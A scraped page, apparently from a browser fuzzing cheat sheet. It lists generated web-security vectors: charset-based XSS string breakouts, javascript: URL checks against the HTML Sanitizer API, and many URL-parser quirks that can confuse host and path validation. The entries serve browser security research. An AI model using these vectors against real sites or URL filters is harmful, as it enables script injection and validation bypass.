Cheat Sheet
Generated payloads from fuzz test results. Filter by type, category, or browser.
Found 194 vectors with results
<script>"\\"-alert(92)//"</script>This vector demonstrates that certain characters consume backslashes when using a GBK charset
This vector shows which characters are valid variables.
<script>"\\"-alert(92)//"</script>This vector demonstrates that certain characters consume backslashes when using a big5 charset
<script>"0x00\"-alert(0)//"</script>This vector demonstrates that certain characters consume backslashes when using a big5 charset
/\p{scx=Latin}+/gu.test(String.fromCodePoint(i)) && alert(i)if (new URL("https://0x09google.com/endpoint").host=="google.com"){alert(9)}Characters ignored in URL, which yield in the same host property. This is just a simple modification of another fuzzing vector by hansmachine
if (new URL("https:///google.com/endpoint").host=="google.com"){alert(47)}Characters ignored in URL, which yield in the same host property. This is just a simple modification of another fuzzing vector by hansmachine
if (new URL("https://@google.com/endpoint").host=="google.com"){alert(64)}Characters ignored in URL, which yield in the same host property. This is just a simple modification of another fuzzing vector by hansmachine
if (new URL("https://\google.com/endpoint").host=="google.com"){alert(92)}Characters ignored in URL, which yield in the same host property. This is just a simple modification of another fuzzing vector by hansmachine
if (new URL("https://google.com/endpoint").host=="google.com"){alert(173)}Characters ignored in URL, which yield in the same host property. This is just a simple modification of another fuzzing vector by hansmachine
new URLPattern({ pathname: "/:input" }).exec(`https://example.com/${String.fromCodePoint(i)}`).pathname.groups.input && alert(i)Characters that can be matched inside a "/:input" pattern of the URLPattern API: https://developer.mozilla.org/en-US/docs/Web/API/URL_Pattern_API
checkSanitizer('<a href="�javascript:foo">test</a>') && alert[i];0x0D
checkSanitizer('<a href="java�script:foo">test</a>') && alert[i];0x0D
checkSanitizer('<a href="javascript�:foo">test</a>') && alert[i];Checks if JS urls are supported by the HTML Sanitizer API.
if (new URL("https://example.com/"+String.fromCodePoint(9)+"test").pathname==="/test") alert(9);Checks which characters are ignored before URL path components in JavaScript.
if (new URL("https://example.com/"+String.fromCodePoint(10)+"test").pathname==="/test") alert(10);Checks which characters are ignored before URL path components in JavaScript.
if (new URL("https://example.com/"+String.fromCodePoint(13)+"test").pathname==="/test") alert(13);Checks which characters are ignored before URL path components in JavaScript.
if (new URL("https://example.com/query?"+String.fromCodePoint(9)+"param1=value").searchParams.get("param1") === "value") alert(9)Tests which characters are ignored in a query parameter name using the URL constructor
if (new URL("https://example.com/query?"+String.fromCodePoint(10)+"param1=value").searchParams.get("param1") === "value") alert(10)Tests which characters are ignored in a query parameter name using the URL constructor
if (new URL("https://example.com/query?"+String.fromCodePoint(13)+"param1=value").searchParams.get("param1") === "value") alert(13)Tests which characters are ignored in a query parameter name using the URL constructor
if (new URL("https://example.com/query?"+String.fromCodePoint(38)+"param1=value").searchParams.get("param1") === "value") alert(38)Tests which characters are ignored in a query parameter name using the URL constructor
if (new URL("https://example.com/query?param1=value"+String.fromCodePoint(0)+"").searchParams.get("param1") === "value") alert(0)Tests which characters are ignored in a query parameter value using URL constructor
if (new URL("https://example.com/query?param1=value"+String.fromCodePoint(1)+"").searchParams.get("param1") === "value") alert(1)Tests which characters are ignored in a query parameter value using URL constructor
if (new URL("https://example.com/query?param1=value"+String.fromCodePoint(2)+"").searchParams.get("param1") === "value") alert(2)Tests which characters are ignored in a query parameter value using URL constructor
if (new URL("https://example.com/query?param1=value"+String.fromCodePoint(3)+"").searchParams.get("param1") === "value") alert(3)Tests which characters are ignored in a query parameter value using URL constructor
if (new URL("https://example.com/query?param1=value"+String.fromCodePoint(4)+"").searchParams.get("param1") === "value") alert(4)Tests which characters are ignored in a query parameter value using URL constructor
new URL("https://example1.com"+String.fromCodePoint(35)+"@example2.com").host === "example1.com" && alert(35)Tests which characters are accepted within URL hostnames that return the first part of the URL when separated by @.
new URL("https://example1.com"+String.fromCodePoint(47)+"@example2.com").host === "example1.com" && alert(47)Tests which characters are accepted within URL hostnames that return the first part of the URL when separated by @.
new URL("https://example1.com"+String.fromCodePoint(63)+"@example2.com").host === "example1.com" && alert(63)Tests which characters are accepted within URL hostnames that return the first part of the URL when separated by @.
new URL("https://example1.com"+String.fromCodePoint(92)+"@example2.com").host === "example1.com" && alert(92)Tests which characters are accepted within URL hostnames that return the first part of the URL when separated by @.
new URL("https://"+String.fromCodePoint(69)+"xample.com").host === "example.com" && alert(69)Tests which characters represent the character "e" in a URL constructor host
new URL("https://"+String.fromCodePoint(101)+"xample.com").host === "example.com" && alert(101)Tests which characters represent the character "e" in a URL constructor host
new URL("https://"+String.fromCodePoint(7473)+"xample.com").host === "example.com" && alert(7473)Tests which characters represent the character "e" in a URL constructor host
new URL("https://"+String.fromCodePoint(7497)+"xample.com").host === "example.com" && alert(7497)Tests which characters represent the character "e" in a URL constructor host
new URL("https://"+String.fromCodePoint(8337)+"xample.com").host === "example.com" && alert(8337)Tests which characters represent the character "e" in a URL constructor host
<a href="https://example.com?foo" id=x></a>This uses the query property to detect if the character is a question mark
<a href="https://example.com#foo" id=x></a><a href="https://example.com/foo" id=x></a><a href="https://example.com\foo" id=x></a>if (new URL("https://example.com" + String.fromCodePoint(35) + "foo").hash.includes("foo")) alert(i)if (new URL("https://example.com" + String.fromCodePoint(63) + "foo").search.includes("foo")) alert(i)if (new URL("https://example.com" + String.fromCodePoint(47) + "foo").pathname.includes("foo")) alert(i)if (new URL("https://example.com" + String.fromCodePoint(92) + "foo").pathname.includes("foo")) alert(i)if (new URL("https://example.com"+String.fromCodePoint(9)+":8000").hostname=="example.com") alert(9)Tests which characters are ignored in hostname within a URL constructor before colon.
if (new URL("https://example.com"+String.fromCodePoint(10)+":8000").hostname=="example.com") alert(10)Tests which characters are ignored in hostname within a URL constructor before colon.
if (new URL("https://example.com"+String.fromCodePoint(13)+":8000").hostname=="example.com") alert(13)Tests which characters are ignored in hostname within a URL constructor before colon.
if (new URL("https://example.com"+String.fromCodePoint(35)+":8000").hostname=="example.com") alert(35)Tests which characters are ignored in hostname within a URL constructor before colon.
if (new URL("https://example.com"+String.fromCodePoint(47)+":8000").hostname=="example.com") alert(47)Tests which characters are ignored in hostname within a URL constructor before colon.
if (new URL("https://example.com"+String.fromCodePoint(0)).hostname=="example.com") alert(0)if (new URL("https://example.com"+String.fromCodePoint(1)).hostname=="example.com") alert(1)if (new URL("https://example.com"+String.fromCodePoint(2)).hostname=="example.com") alert(2)if (new URL("https://example.com"+String.fromCodePoint(3)).hostname=="example.com") alert(3)if (new URL("https://example.com"+String.fromCodePoint(4)).hostname=="example.com") alert(4)Page 1 of 10